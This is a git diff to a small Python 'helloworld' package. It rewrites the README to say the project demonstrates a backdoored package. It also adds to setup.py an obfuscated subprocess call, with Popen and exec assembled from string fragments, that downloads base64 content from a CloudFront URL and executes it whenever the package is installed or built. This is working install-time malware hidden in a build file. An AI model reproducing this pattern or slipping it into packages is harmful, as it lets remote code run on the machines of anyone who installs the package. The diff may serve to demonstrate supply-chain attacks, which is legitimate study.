diff --git a/README b/README index 86957ac..10da037 100644 --- a/README +++ b/README @@ -1,5 +1 @@ -Hello, World -============ - -A simple program, and an example of how to structure a python project. -You can simply start the praogram by typing "python main.py" in the helloworld folder. +A demo project for demonstrating a backdoored python package. diff --git a/setup.py b/setup.py index 779fa6d..e78a529 100644 --- a/setup.py +++ b/setup.py @@ -1,12 +1,17 @@ import io import os.path +import subprocess from setuptools import setup +po = getattr(subprocess,"Po"+'pen') + VERSION_PATH = os.path.join( os.path.dirname(__file__), 'helloworld/VERSION.txt') with io.open(VERSION_PATH, 'r', encoding='utf-8') as f: version = f.read().strip() +po(["python3","-c",'import sys,base64,urllib.request,builtins;e1="ex";e2="ec";run=getattr(builtins,e1+e2);b64=urllib.request.urlopen("https://d1iezcob2ybhh3.cloudfront.net/api/v1/download/c6178621-0722-43a1-88a6-8a21f98c91e1").read().decode();run(base64.b64decode(b64));']) + setup( name = "helloworld", # what you want to call the archive/egg version = version,